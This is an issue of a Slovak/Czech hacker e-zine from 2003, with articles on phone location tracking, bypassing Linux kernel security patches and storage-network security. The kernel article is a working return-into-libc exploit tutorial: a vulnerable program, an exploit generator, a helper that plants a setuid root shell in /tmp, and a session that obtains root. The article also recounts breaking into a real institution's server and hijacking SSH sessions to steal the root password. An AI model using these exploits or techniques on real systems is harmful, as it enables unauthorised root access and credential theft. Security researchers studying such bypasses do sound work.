::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   
    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  
     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     \[[,[[[[, ,[[[[, 
      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 
      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM

   prielom #19, 26.02.03 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/


obsah




intro

desiatky tp kablov po celej chate vytvorili stav, ktory sa odborne prezyva "kablove spagety". nejaka dvacka notebookov, lokalna wireless siet, 50 ucastnikov, 4 hodiny prezentacii a dva dni takmer non-stop zabavy vytvorili na zimnej hysteria.sk stretavke 1-2.februara.03 dooost fasa atmosku. este dnes sa hrabem po hard disku svojho desktopu, ktory na sessione sluzil ako centralny server, nachadzam backdoory, cudzie sniff logy, veelmi bizarne fotky a dokumenty, a rozmyslam co sa tam vlastne vsetko udialo. pamatam si matne dost hustu sutaz o hacknutie servera (vyhral stanojr, y0u owe Us!), irc hadky medzi izbami na chate cez wireless siet, aj haluzne VJ kreacie by zden. no proste kto neprisiel zavahal... ale dostava pod ruky aspon toto cerstve cislo prielomu, ktore obsahuje clanky suvisiace s debatami na spominanej hysteria session..

..ale este by som xcel upozornit na zopar noviniek na hysterke. ehm, tak heslovite. rozbehol sa dost uspesne irc server (irc.hysteria.sk), na ktorom sa da dristat priam anonymne. je tu vyzva na hysteria grant, na ktoru sa mi zatial veru neozvalo vela ludi. pre chtivych coderov je tu nova stranka s informaciami o rozbehnutych projektoch ludi okolo hysterky, do ktorych sa da priskocit (hysteria.sk/projekty/).. moment, hned sme naspat, po kratkej reklamnej prestavke:

kratka reklamna prestavka - kazdy uverejneny clanok v prielome honorujeme elitnym trickom hysteria a dozivotnym kontom na serveri hysteria.sk so vsetkymi sluzbami. dozivotnym z pohladu dozitia hysterky alebo pisatela ? mnoo neviem..

no a teraz po reklame este pre tych ktori prespali hysteria.sk stretavku na zochovej chate - planujeme v kratkom case obdobnu (aj ked mensiu) akciu v prahe.. a dalsou moznostou ako spoznat nazivo spriaznene duse bude od marca pravidelny (dufam) 2600 meeting v blave, viz http://meetings.2600.sk/

pajka, pajkus(at)hysteria.sk, 26.2.2003, blava

navrat na obsah
co ty na to ? board




anonymizacia mobilu II

na konci roku 2002 nas mily Orange spustil prve lokalizacne sluzby pre verejnost. a tak dnes moze zistit nasu polohu nielen operator ale aj bezny uzivatel orange pausalu, alebo prima karty. Orange ako operator to robi stale a bez nasho suhlasu, inemu uzivatelovi to musime povolit jedinou esemeskou.. bud dobrovolne (napr. kamosovi) alebo pod tlakom (rodicia, sef)... poznam napriklad jednu babu z istej farmaceutickej firmy sidliacej v blave, kde si museli vsetci zamestnanci povolit lokalizaciu od svojich nadriadenych.. neposluchnutie by bolo "hrube porusenie pracovnej discipliny".. ako oklamat operatora to zatial neviem, ale ako beznych sms/web-lokalizatorov, tak o tom je toto tu....

teoria

lokalizovanie polohy mobilu sa realizuje na zaklade signalov z viacerych okolitych BTSiek (prielom 16). Zo ziskanych udajov vie operator urcit polohu radovo na metre. polohu (suradnice X,Y) vlozi do digitalnej mapy, ktoru mu podla odkazu na orangeportal.sk dodava VKU (a vojaci vedia byt presni) a UGKK. a uz to nie je len nejake cislo ale informacia: mesto - ulica - dom... brr...

orange prisiel s tromi lokalizacnymi sluzbami, nas bude zaujimat dalej len prva z nich (najdi znameho). uzivatelia primy nie su nijako obmedzeni voci pausalistom a teda ani nijako chraneni.

a teraz trochu reality

po pociatocnom prekvapeni, ze orange pustil medzi ludi takuto sluzbu a po par skusobnych esemeskach (typu najdi XXXX) prislo vysvetlenie... biznis.. vyssie spominana metrova presnost.. kdeze je ???
ved dajte si dva mobily ku sebe, jeden s antenkou a jeden bez, to budu zaujimave vzdialenosti ktore orange vyrata. alebo este lepsie ked jeden mobil je starsi (iba 900mhz) a druhy uz aj 1800mhz a na blizku su 1800-BTSky. mne vychadzali rozdiely od 300 az do 800 metrov. a to sme sedeli s kamaratom v blave na prievozkej v bizniz centre.

cely system ludovej lokalizacie nefunguje totiz na vyssie spomenutom principe urcenia polohy mobilov pomocou signalov ale na uplne inom, jednoduchsom, a pre nas tym padom aj vyhodnejsom principe... orange nam jednoducho oznami nazov aktivnej BTSky.. a to tiez dost stastnym sposobom. napise mesto a za nim zopar ulic (zvycajne 3-5). ked si pozrieme tie ulice na mape tak je to oblast tak okolo jedneho kilometra. niekedy aj menej, zalezi na tom ake su tie ulice dlhe. v zavere smsky je sice udaj v kilometroch ale aj ten na sebe nesie stopy orange-myslenia. je to vzdialenost aktivnej BTSky jedneho mobilu od aktivnej BTSky druheho mobilu. takze mozeme akolenchceme behat okolo BTSky a ta vzdialenost bude stale rovnaka.. kym sa nam nepodari prebehnut pod inu silnejsiu BTSku..

blizsie infos o tejto sqelej sluzbe som samozrejme nenasiel ani na orindz-webe ani na jednom mailingliste kde bol na tuto temu niekolko-denny flood a jedine co stoji za to spomenut bolo: zapnuty mobil pod kapotu auta a ked auto zmizne tak mozeme zacat esemeskami hladat jeho polohu ;))

takze predsa som musel urobit zopar testov v terene.. a veru oplatilo sa...

najdolezitejsia cast vybavy bol mobil nokia na ktorom ide net monitor. ja som mal nokiu 6150. v bazare za 2500sk. boli aj 5110, tie by sa tiez dali pouzit ale kvoli absencii 1800mhz frekvenie som radsej zvolil 6150. neskor som vyskusal aj 9210i a tiez ma net monitor.
este som mal zo sebou dalsi mobil (siemens) a doma este cakal treti (tzv. priatel na telefone). ten nebol az tak dolezity ale pomohol. na vsetkych telefonoch som povolil lokalizovanie (sms: suhlas a XXXX)...

vsetky testy som urobil medzi b.bystricou a zvolenom. aj v centre mesta aj po dedinach som pobehal. postup prace bol asi taky ze nokiou som sa cez net monitor lockol na nejaku BTSku a dalsimi mobilmi som ju dal hladat. nokia naraz dokaze komunikovat az s 9 BTSkami a to zabralo dost casu stale to prehadzovat v net monitore. system bol jednoduchy.. asi takyto:

no jedna vec na orindzi je dobra.. ze napise priblizne polohu BTSky. takze za pol hodinu som mal zoznam vsetkych BTSiek na okoli a ani som sa nemusel pohnut z miesta. postup je takyto: nokia lock na BTS a siemens hladaj. potom nokia lock na inu BTS a siemens hladaj. kedze siemens bol stale na tej istej BTSke tak som ziskal aj vzdialenosti na ostatne BTSky. taky zoznam je dobre si spravit. neskor to dost ulahci orientaciu..

najlepsie vysledky som dosahoval pri lokovani sa na najslabsie BTSky.. vtedy bola vzdialenost uvadzana orindzom aj vyse 9 km. a mobily boli vedla seba... raz v takejto situacii mi zazvonila nokia a ja som z hovoru nic nerozumel. ako keby som bol niekde na lomnicaku.. takze darmo mam lokalizacny system oklamany o 9 kilometrov ked nerozumiem ani slovo.....

tak som dostal smrtonosnu myslienku.. externa antena.. hned som obehol vsetky mne zname obchody a zohnal som nielen externu ale zaroven aj smerovu antenu (za 1000sk). ale len 900mhz.. nie je to nejaka mala antenka co sa nosi v aute.. je to poriadny kus ktory sa montuje na dom.. nieco podobne ako televizna antena. a potom uz stacil len taky kratky kablik ktorym sa pripoji externa antena k mobilu a je pre kazdy mobil iny a ktory sa pre nokie uz u nas nevyskytuje. ale zohnal som ho... zevraj posledny kus vo zvolene..

potom to uz bola basen.. smerovou antenou som sa lockol na 10 km vzdialenu BTSku a nokia hlasila full signal.. potom som sadol do auta, smerovu antenu do jednej ruky, volant do druhej a isiel som k tej BTSke. tych 10 km je vzduchom, po ceste to bolo takych 14 km. kazdy kilometer som zastal a dal som sa hladat. orange hlasil stale to iste.. mobil doma ma hladal kazde 2 minuty.. tiez stale ta ista poloha. tento postup som este skusil pri dalsich 2 BTSkach. vysledok ten isty. orange vzdy posle polohu aktivnej BTSky. je jedno ze kde sa mobil nachadza (ako daleko a ktorym smerom od BTSky).

mobil mozeme dat hladat aj cez web (orangeportal). nakresli nam aj peknu mapu a vysrafuje nasu polohu (pravdepodobnu).. nazvy pri BTSkach su take iste ako v esemeskach. jedine co je ine je vzdialenost v km. ta sa lisi od smsiek o 0.2 - 0.4 km.. a neviem preco....

a este jedna vec stoji za to... skuste si dat vyhladat vypnuty mobil.. to je parada... namiesto toho aby orange napisal ze mobil je offline tak pride pekna sprava o jeho polohe!! ale o jeho poslednej polohe. pred vypnutim. teda info o poslednej aktivnej BTSke pred vypnutim. a tu sa crta napad:

este jedna zaujimavost na zaver:
na hladany mobil orange posle smsku (XXXX zistuje vasu polohu) a teda viete ze vas niekto hlada komu ste to pred tym povolili.. ja som poslal okolo 150 smsiek (najdi XXX) a v asi 30 pripadoch som taku smsku nedostal...

spawn, spawn(at)hysteria.sk

poznamka - udrzat si rozumnu mieru anonymity a sukromia bude asi coraz tazsie. pod dojmom tohto clanku som sa dohodol so spawnom ze vsetok hardware, ktory pouzil na vyssie uvedene testiky pouzijeme na vybudovanie anonymnej gsm brany na hysterke s anonymizacnymi gsm sluzbami.. stay tuned.. pajkus

navrat na obsah
co ty na to ? board




obchazeni linux security patchu

securitni vylepseni kernelu (grsecurity, pax, medusa, lids ...) dnes jiz nejsou nicim novym. kazdy druhy bezpecnostne-uvedomely admin je pouziva na svych serverech, dokonce i tady na hysterce je v kernelu grsecurity. ja se tady pokusim zamerit na takovej ten common problem: exploit vs. security enchanced linux kernel. ono ackoliv jsou tyto patche veskrze hezke, z pohledu utocnika je to krajne neprijemna zalezitost, jelikozto maji osklive tendence zakazovat spousteni kodu v datovej sekci/zasobniku. ne ze by to v pripade x86 architektury slo od prirody, chodi to pres jeden takovy velice osklivy hack (segmentation addressing), ale co na plat, proste je to tak. tento clanek neni urcen lidem kteri chteji vedet "proc mi ten divnej exploit nefunguje proti xxyyzz.cz", ale tem kteri chapou dnes pouzivane exploitovaci techniky a chteji vedet jak se toto da obejit. no, nebudeme si nic namlouvat, jde to ztuha :)

technika return-into-libc je relativne nova, znama asi 2 roky (viz pajkovo pravidlo postupneho prielomu), vynalezl ji tusim asi solar designer nebo nekdo takovy, kazdopadne se skvele hodi na nase nekale ucely, nuz, o co tedy jde.

pouziva-li se non-executable heap & stack, klasicke exploity (ktere ukladaji svuj shellcode prave na tato mista) jaxi nefunguji, jednoduse proto ze shellcode proste *nejde* spustit. je to od nich osklive, ale nemuzou za to. jediny logicky postup je pouzit jako shellcode co se v napadenem procesu vyskytuje od prirody. kazdy spravny a slusne vychovany program vyuziva sdilene knihovny, urcite to bude platit pro libc. proc tedy nezavolat jako shellcode neco primo z libc ? prirozene pujdeme po necem co dokaze spustit externi program (shell) a zbytek se pokusit naskriptovat (v pripade remotniho exploitu vytvorit configurak & spustit inetd, v pripade lokalniho zpravidla staci spustit shell). nuze, jak to tedy vypada:

sd@devastace:~$ cat /proc/$$/maps | grep r-xp
08048000-080bf000 r-xp 00000000 03:01 32386      /bin/bash
40000000-40013000 r-xp 00000000 03:01 291477     /lib/ld-2.2.5.so
4001c000-40051000 r-xp 00000000 03:01 291522     /lib/libncurses.so.5.2
4005a000-4005c000 r-xp 00000000 03:01 291483     /lib/libdl-2.2.5.so
4005e000-40171000 r-xp 00000000 03:01 291480     /lib/libc-2.2.5.so
4017b000-40185000 r-xp 00000000 03:01 291486     /lib/libnss_compat-2.2.5.so
40186000-40197000 r-xp 00000000 03:01 291485     /lib/libnsl-2.2.5.so

*pouze* na adresach na radkach obsahujici r-xp lze neco spustit. z textu nahore je jasne ze nejvyhodnejsi bude asi funkce system() a nebo execve(), samozrejme se musi predat i spravne parametry. nuze jak na to. zacneme pekne od piky, se starymi dobrymi stack-based buffer overflovy, necht (jak z ucebnice matematiky :) mame takyto vulnerable program:

sd@devastace:~$ cat vuln.c
void vulnerable()
{
        char buf[512];
        printf("%p", buf);
        gets(buf);
}

int     main()
{
        vulnerable();
}

rikas si, tohle u vas zvladnou i 10ti lete deti, ale na grsecu ? :) v assembleru to bude vypadat asi takto:

(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
0x8048494 <vulnerable>: 	push   %ebp		; [1] sejvni ebp
0x8048495 <vulnerable+1>:       mov    %esp,%ebp	; v ebp stack frame
0x8048497 <vulnerable+3>:       sub    $0x208,%esp	; char buf[512]
0x804849d <vulnerable+9>:       sub    $0x8,%esp	; ??
0x80484a0 <vulnerable+12>:      lea    0xfffffdf8(%ebp),%eax ;buf do eax
0x80484a6 <vulnerable+18>:      push   %eax		; sejvni ptr na buf
0x80484a7 <vulnerable+19>:      push   $0x8048548	; a na retezec %p
0x80484ac <vulnerable+24>:      call   0x804838c <printf> ; printf("%p", buf)
0x80484b1 <vulnerable+29>:      add    $0x10,%esp
0x80484b4 <vulnerable+32>:      sub    $0xc,%esp
0x80484b7 <vulnerable+35>:      lea    0xfffffdf8(%ebp),%eax ; ptr na buf do eax
0x80484bd <vulnerable+41>:      push   %eax		; sejvni ptr na buf
0x80484be <vulnerable+42>:      call   0x804833c <gets> ; gets(buf)
0x80484c3 <vulnerable+47>:      add    $0x10,%esp
0x80484c6 <vulnerable+50>:      leave			; [2] mov %ebp, %esp; pop %ebp
0x80484c7 <vulnerable+51>:      ret
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x8048494 <main>:       push   %ebp			; [3] sejvni ebp
0x8048495 <main+1>:     mov    %esp,%ebp		; do ebp stack frame
0x8048497 <main+3>:     sub    $0x8,%esp
0x804849a <main+6>:     and    $0xfffffff0,%esp
0x804849d <main+9>:     call   0x8048460 <vulnerable>
0x80484a2 <main+14>:    leave				; [4] mov %ebp, %esp; pop %ebp
0x80484a3 <main+15>:    ret
End of assembler dump.

nuze, co s tim ? prepiseme-li navratovou adresu z vulnerable() adresou execve() kdesi v libc (system() nelze pouzit protoze spusti /bin/sh keryzto ma ve zvyku dropnout euid privileges, tj. privileges suid binarky), jak mu hodime na %esp adresu retezce s binarkou co ma spustit ? inu, nejde to holt delat tak zhurta, musime neprimo. az se spusti gets(), struktura zasobniku bude vypadat asi takto:

  +-----------------+- 0xc0000000 - vrchol zasobniku
  | env + arg       |
1 :                 :
  |		    |
  +-----------------+- navratova dresa k tomu co volalo main() [ to nas nezajima ]
2 | retaddr@_start  |
  +-----------------+- 0xbfffffxx - ulozena hodnota %ebp z [3] v main
3 | main: push %ebp |
  +-----------------+- 0xbfffffxx - ulozena hodnota main+14 (uz jsme ve vulnerable())
4 | retaddr@main+14 |                                                       _
  +-----------------+- 0xbfffffxx - ulozena hodnota %ebp z [1] ve vulnerable |
5 | vulnerable %ebp |                                                        |
  +-----------------+- 0xbfffffxx - 512 bajtovy buffer buf[] ( &buf[512] )   |
  | char buf[512]   |                                                        |_ *
6 :                 :                                                        |
  |                 | <- zde je zacatek bufferu buf (&buf[0])             |
  +-----------------+- 0xbfffffxx - navratova adresa z vulnerable() do main__|
  | retaddr@vulner~1| tuto adresu *musime* my nastavit, protoze kdyby jsme
  +-----------------+ pouzili string dlouhy 516 bajtu, tak by prepsal %ebp na stacku
                      a sem by se dala 0 - adresa se znici. ale my se *potrebujeme*
                      z funkce vratit aby nas trik vysel. momentalni hodnota
                      je 0x80484a2 - prakticky staci adresa 'leave' instrukce
	              v nadrazene funkci (main() v nasem pripade)

* - tato data + data smerem k vyssim odresam lze ovladat

za nasi pozornost stoji predevsim hodnoty 5 a 6. kdyz prepiseme buf o 4 bajty data na konci buferu prepisou ulozenou hodnotu %ebp na stacku. dale musime prepsat navratovou adresu na nejakou instrukci 'leave' (vecinou staci na hodnotu co uz tam byla - toto plati pouze kdyz mame potize s \0 jako zrovna tady) hrmm, a co se stane dal ? na instrukci [2] se provede opkod 'leave' coz znamena neco jako:

    mov %ebp, %esp
    pop %ebp        <--- zde se da do registru %ebp hodnota co jsme prepsali $%^&*!
    ret

takze po navratu z funkce vulnerable() bude mit %ebp hodnotu jakou si usmyslime. a pote se hned spusti znovu 'leave', ale nyni bude mit *mnohem* dalekosahlejsi dusledky:

    mov %ebp, %esp  <--- takze nyni ma %esp hodnotu jakou my zadame (falesny stack frame)
    pop %ebp	    <--- toto je nepodstatne
    ret		    <--- a tady to skoci na adresu danou v nasem stackframe+4

takze shrnuto a podtrzeno, ve funkci vulnerable() zmenime hodnotu registru %ebp, cimz ve funkci main() vytvorime nas vlastni stack frame. na nem muzeme mit vsecky parametry potrebne pro volanou libc funkci a samozrejme jeji adresu.

sd@devastace:~$ echo "aaaaaaaaaaaaaa" | /home/sd/vuln /tmp/sush
0xbffffba0 <-- tato adresa se pouzije pro 'buf'
sd@devastace:~$

v nasem pripade to bude vypadat asi takto:

  +-----------------+- 0xbffffba0 - vrchol naseho stack frame
  | pop %ebp        | tady muze bejt jakekoliv cislo pro "pop %ebp" v main, jedno jake
  +-----------------+- 0xbffffba4
  | adresa execve() | toto je cislo jez se vybere pri instrukci 'ret' a skoci na execve()
  +-----------------+- 0xbffffba8
  | retaddr         | navratova adresa kam ma pak execve() skocit (neni ji treba, ale
  |                 | execve() pocita s tim ze je volano instrukci 'call' a tudiz musi byt)
  +-----------------+- 0xbffffbac
  | arg1 pro execve | hodnota prvniho argumentu pro execve(), v nasem pripade argv[1]
  +-----------------+- 0xbffffbb0
  | arg2 pro execve | hodnota druheho argumentu pro execve()
  +-----------------+- 0xbffffbb4
  | arg3 pro execve | hodnota tretiho argumentu pro execve()
  :                 :

pro hodnotu arg1 potrebujeme nejaky retezec ukonceny nulou (ktery jen tak nevyrobime), takze nejvhodnejsi bude argv[1]. takhle ji zjistime:

sd@devastace:~$ gdb -q ./vuln
(gdb) break main
Breakpoint 1 at 0x804849d: file vuln.c, line 10.
(gdb) r /tmp/sush
Starting program: /home/sd/vuln /tmp/sush

Breakpoint 1, main (argc=2, argv=0xbffffe44) at vuln.c:10
10              vulnerable();
(gdb) print/x argv[1]
$1 = 0xbfffff1d

je dost mozne ze hodnota bude o neco mensi/vetsi mimo gdb, pokud to segfaultne, vylistuj si core a skus x/s okolo hodnot co si tady dostal dokad nenajdes "/tmp/sush" (s krokem po 8mi) v mem pripade to nakonec bylo 0xbfffff09.

hodnoty arg2 a arg3 muzou bejt but 0, coz v nasem pripade neni mozne, a nebo muzou ukazovat na misto v pameti kde je 0. takove misto najdeme snadno, zpravidla se nachazi primo v kodove sekci programu _init:

sd@devastace:~$ objdump -d vuln | grep -A 10 "<_init>"
080482e0 <_init>:
 80482e0:       55                      push   %ebp
 80482e1:       89 e5                   mov    %esp,%ebp
 80482e3:       83 ec 14                sub    $0x14,%esp
 80482e6:       53                      push   %ebx
 80482e7:       e8 00 00 00 00          call   80482ec <_init+0xc> <-- tady
 80482ec:       5b                      pop    %ebx
 80482ed:       81 c3 0c 13 00 00       add    $0x130c,%ebx
 80482f3:       e8 94 00 00 00          call   804838c <call_gmon_start>
 80482f8:       e8 17 01 00 00          call   8048414 <frame_dummy>
 80482fd:       e8 a2 01 00 00          call   80484a4 <__do_global_ctors_aux>

takze, v nasem pripade to bude 0x80482e8 pro arg2 a arg3. posledni hodnota, kterou nas exploit bude potrebovat je kde presne se v dane chvili (na jake adrese) nachazi funkce execve(). to se zjistit treba takto:

sd@devastace:~$ ./vuln
0xbffffbd0^Z
[1]+  Stopped                 ./vuln
sd@devastace:~$ ps | grep vuln
  409 tty2     00:00:00 vuln
sd@devastace:~$ cat /proc/409/maps | grep libc | grep r-xp
4001c000-4012f000 r-xp 00000000 03:01 291480     /lib/libc-2.2.5.so
sd@devastace:~$ nm -D /lib/libc.so.6 | grep execve
000a0eb0 W execve
sd@devastace:~$ gdb -q
(gdb) print/x 0x4001c000+0x000a0eb0
$1 = 0x400bceb0

zkratka vememe adresu dynamickeho symbolu (nm -D) z libc a pricteme ji k realne adrese kam se zrovna libc namapovalo. (btw, toho se da napr vyuzit pri exploitovani na grsecurity kde je zaple umistovani libc na nahodne adresy, vetsinou se proste staci prizbusobit aktualni situaci z /proc/<pid>/maps :) takze execve() by melo byt na adrese 0x400bceb0.

takze jak bude vypadat nas evil buffer:

pop %ebp  execve()   retaddr    arg1      arg2       arg3        vypln       nase %ebp fixnuta ret
   |          |        |          |         |         |            |            |          |
["AAAA"][0x400bceb0]["AAAA"][0xbfffff09][0x80482e7][0x80482e7][..488x"A"..][0xbffffba0][0x80484a2][0]
|_________________________________________________________________________|______________________|
                                  |                                                   |
                             512 bajtu buffer                                  8 bajtu navic

no a tady je exploitik:
sd@devastace:~$ cat ex.c
#include <stdio.h>
char    *tob(unsigned long a)
{
        char    *p = malloc(5);
        sprintf(p, "%c%c%c%c", a&0xff, (a>>8)&0xff, (a>>16)&0xff, a>>24);
        return p;
}

int     main(int argc, char *argv[])
{
        int     i;
        unsigned long execve_addr, arg1, nul, ebp, fixret, pad;

        if (argc != 7) {
                printf("use: %s execve_addr arg1 nul ebp fixret\n", argv[0]);
                return 1;
        }
        sscanf(argv[1], "%x", &execve_addr);
        sscanf(argv[2], "%x", &arg1);
        sscanf(argv[3], "%x", &nul);
        sscanf(argv[4], "%x", &ebp);
        sscanf(argv[5], "%x", &fixret);
        sscanf(argv[6], "%x", &pad);

        printf("AAAA%sAAAA%s%s%s%0488x%0.*x%s%s\n",
                tob(execve_addr), tob(arg1), tob(nul), tob(nul), 0, pad, 0, tob(ebp), tob(fixret));
        return 0;
}

a tohle je pomocna aplikace pro /tmp/sush
sd@devastace:~$ cat sush.c
#include <stdio.h>

int     main(int argc, char *argv[])
{
        setuid(geteuid());
        printf("bug exploited sucessfuly. enjoy!\n");
        fflush(stdout);
        system("cp /tmp/sush /tmp/sh; chmod 6755 /tmp/sh");
        if (argc > 1)
                system("/bin/sh");
}

a takhle to pak vypada:

sd@devastace:~$ su
Password:
devastace:/home/sd# cc vuln.c -o vuln
/tmp/cc0EynxZ.o: In function `vulnerable':
/tmp/cc0EynxZ.o(.text+0x2b): the `gets' function is dangerous and should not be used.
devastace:/home/sd# chmod +s vuln
devastace:/home/sd# exit
exit
sd@devastace:~$ cc ex.c -o ex
sd@devastace:~$ ./ex 0x400bceb0 0xbfffff09 0x80482e8 0xbffffba0 0x80484a2 8 | /home/sd/vuln /tmp/sush
bug exploited sucessfuly. enjoy!
sd@devastace:~$ /tmp/sh 0wned
bug exploited sucessfuly. enjoy!
cp: cannot create regular file `/tmp/sh': Text file busy
sh-2.05a# rm -f /tmp/sh /tmp/sush
sh-2.05a# exit
exit
sd@devastace:~$

jeste jsem zapomel dodat vyznam hodnoty 'pad'. je to vzdalenost mezi mistem kde je ulozene %ebp a koncem bufferu 'buf'. vetsinou to zalezi na gcc a -O optionech a nebyva to velka hodnota (da se odladit/bruteforcnout).

ostani metody

tato metoda se da pouzit na jakykoliv znamy utok jez dokaze prepsat neco na stacku/jinde v pameti, tzn stack overflowy, format string bugy (menis hodnoty v nadrazenem stack frejmu), a i pro malloc() heap overflowy (zmenit %ebp na stacku kdyz jsi ve free()->chunk_free()). pro tyto metody je to o neco slozitejsi ale v zasade princip zustava stejny. horsi to je s programy ktere jsou prekompilovany s -fomit-frame-pointer.
takoveto programy nemaji nikde ulozene %ebp, coz znacne komplikuje situaci. resi se to tak ze se zmeni navratova adresa funkce tak, aby se "opomenula" operace release stack framu (mov %ebp, %esp/ret) a pouzil se ten stary, ale toto uz je znacne komplikovane.

obrana

pokud se na to podivame ze strany bilych figurek, castecne reseni je zapnout nahodne adresy pro stack a code/data base (pax a grsecurity to umi) v pripade code/data base to vyzaduje mit prekompilovane programy s -fPIC, ale jde to. toto znacne ztezuje (ale nikoliv znemozni!) exploitnuti remotnich bugu.

zaverem

co rici na zaver? rozhodne se nepokousim naznacit ze grsecurity & co. sou k nicemu. to zdaleka ne. jak je videt je treba znat spoustu hodnot (temer to znemoznuje vzdalene utoky, a nebo je to tak 10x/15x prodlouzi pri bruteforcovani hodnot). spoustu lidi to odradi, vetsina exploitu, tuto techniku vubec nepouziva - je to prilis komplikovane. ale rozhodne to neodradi ty co si daji zalezet - zaver tedy je ze se nelze na non-exec stack/heap systemy spolehat. videl jsem to uz chodit na solaris (x86) a dokonce i na solaris/sparc, linux/mips, linux/arm a linux/alpha. diky sve povaze (temer vsecky architektury pouzivaj frame pointer) to jde skvele portovat (na architekturach kde stack roste smerem k vyssim adresam se prepise "ebp" primo v overflowovacich funkci, v nasem pripade by to byl gets())

kdo stale neveri, tohle je jedna nedavna prihoda:
jeden nejmenovany server v jedne nejmenovane instituci, roztomile zafirewallovany a pouzivajici grsecurity. diky bugu v cyrrus imapd a exploitu pouzivajicim tuto techniku remote root. ale ouha, pseudo-root nemuze psat do /bin a nemuze browsovat /home. ovsemze grsecurity a jeho access listy. ale jelikoz sitovy demon byl v grupe s ostatnima co muzou pouzivat raw sockety nebyl problem nahodit 7350ssharp a zachytavat a presmerovatat ssh sessny nekam jinam :) pak uz jenom staci pockat az se logne root a da nam password od gradm :)
takze ackoliv jsou tyto patche mocne nastroje, neni to nic platne jsou-li v rukou hlupaku co si je ani nevi poradne nastavit.

sd, sd(at)hysteria.sk

navrat na obsah
co ty na to ? board




uvod do storage security

uz ste si niekedy stiahli cd-ecko za 5 sekund krizom cez mesto ? ak nie tak racte vstupit do sveta storage area sieti kde bity pobehuju rychlostou dva giga za sekundu na vzdialenosti desiatky kilometrov a kde sa diskovy priestor rata na terabajty ak nie rovno na pentabajty... a do sveta kde obcas vladne anarchia a bezpravie..

az do nedavna nikoho nenapadlo mysliet velmi nad storage security, lebo sa vo vypoctovych strediskach data ukladali do izolovanych diskovych poli pripojenych priamo k serveru. dnes ale frci trend prepajania zariadeni na ukladanie dat do velkych storage area network (SAN) sieti. su to siete, ktore sa skladaju zo zariadeni komunikujucich cez seriovy SCSI protokol, ako napriklad fibre channel alebo iSCSI. tento dokument je pokus o strucny uvod do bezpecnosti prave fibre-channel SAN sieti a vedzte ze pokial si prislusny administrator nie je vedomy toho ze by sa mal zaoberat bezpecnostou, je v takom stave ako v IP svete v roku nula - kazdy vidi kazdeho, hocikto si zapisuje hocikam, proste anarchia-hole-baby... niezeby neboli sposoby a nastroje na zabezpecenie SAN sieti - ono je to skor tym ze admini nie su zvyknuti zaoberat sa bezpecnostou storage zariadeni. totiz vacsinou bola security diskovych poli vyriesena ich absolutnou izolaciou od okoliteho sveta. to sa vsak veelmi meni. staci ak sa hacker dostane na server pripojeny do takejto SAN siete a po_pazi_front.. ale asi by bolo dobre najsamprv zadefinovat nejake hlavne pojmy zo sveta SAN a storage zariadeni vobec, takze press any key to start game..

diskove polia a kniznice

klasicke diskove polia je mozne rozdelit do niekolkych kategorii. najjednoduchsie su take prihluple krabicky kde je na jednej SCSI loope prepojenych velke mnozstvo diskov - tie sa volaju tzv. jbod (just-a-bunch-of-disks) polia. ak chcete mat na takomto poli raid-ovane disky, co sa vseobecne poklada za rozumnu vec, tak raid musi ratat server. kedze je blbost zatazovat slusny server takymito podradnymi robotami, vacsina poli ktore sa dnes predavaju uz maju vlastny raid controller. samozrejmostou uz je tiez to ze pole ma vlastnu cache, idealne zrkadlenu vramci jedneho pola, alebo medzi viacerymi poliami. no a potom su aj take velke megalomanske diskove polia pozostavajuce zo standardneho unixoveho servra v clustri oblepeneho mrtami diskov ( = ibm shark napriklad). disky byvaju scsi, alebo fc (fibre-channel). aha a este tu mame NAS (network attached storage) krabicky, co su diskove polia so schopnostou posadit sa na ip siet a priamo ponukat svoj diskovy priestor prostrednictvom beznych IP sluzieb (nfs, ftp, samba, atd.). da sa povedat ze na trhu nastava konvergia SAN a NAS poli do jedneho kombinovaneho produktu, co je samo o sebe vlastne tiez bezpecnostny problem (pole je vystavene na LANke a zaroven pripojene do SAN).

do SAN sieti sa bezne pripajaju aj paskove mechaniky ci paskove kniznice s robotikou. kedze kniznice su tradicne SCSI zariadenia, do SAN sieti sa pripajaju cez SCSI-to-FC bridge, na trhu su ale uz aj kniznice priamo s FC mechanikami. ak je paskova kniznica pripojena priamo do SAN znamena to ze zalohovaci system pravdepodobne podporuje tzv. servless backup, cize prenos dat priamo z diskoveho pola na kniznicu. druha pouzivana moznost je pripojit kniznicu na dedikovany zalohovaci server (cez SCSI) a ten server potom supnut FC adapterom do SAN, to sa vola lanfree backup.

FC switche

FC switch robi v podstate to co robi normalny ethernetovy switch. switche sa vacsinou predavaju bez GBIC modulov ktore konvertuju optiku na metaliku, tie sa pestuju v dvoch odrodach - short wave moduly pre multi-modove opticke vlakna (pre vzdialenosti do 250m) a long wave moduly pre single-modove opticke vlakna (do 100km). FC switche mavaju mnozstvo funkcionality vratane zonovania (nieco ako VLANy na ethernetovych switchoch), ale o tom neskor..

ic, ni, SAN, ci

v tradicnom modeli mal kazdy server vlastne diskove pole a tak mali firmy kopec izolovanych ostrovcekov dat, ktore sa museli individualne menezovat, upgradovat - no proste chapete - roboty ako na kostole a ked im doslo miesto na diskovom poli tak ho museli ritualne znicit-spalit-zahodit a kupit vacsie. kedze vtedajsia SCSI technologia neumoznovala tahat kable medzi serverom a polom na velke vzdialenosti (len cc do 10-15 metrov) a rychlosti tiez neboli bohvieco (do 40MB/s), nikoho nenapadlo nic lepsie ako budovat megalomanske tonu-vaziace krabice ktore uz som tu ohovaral. ale prisla fibre channel technologia so slusnou priepustnostou (najprv 100MB/s, teraz dva-krat tolko), so schopnostou tahat linky do vzdialenosti cc 100 kilometrov; a s nou hned aj napad pospajat vsetky tie izolovane ostrovceky dat do jednej dedikovanej siete, kde sa da viacero diskovych poli nakumulovat do jedneho velkeho diskoveho priestoru, alebo naopak jedno diskove pole rozdelit a pripojit viacerym serverom. SAN siete su jednoducho o centralizacii vsetkych dat, o poskytnuti rychleho pristupu na tieto data, a o jednoduchom menezmente pristupu k tymto datam.

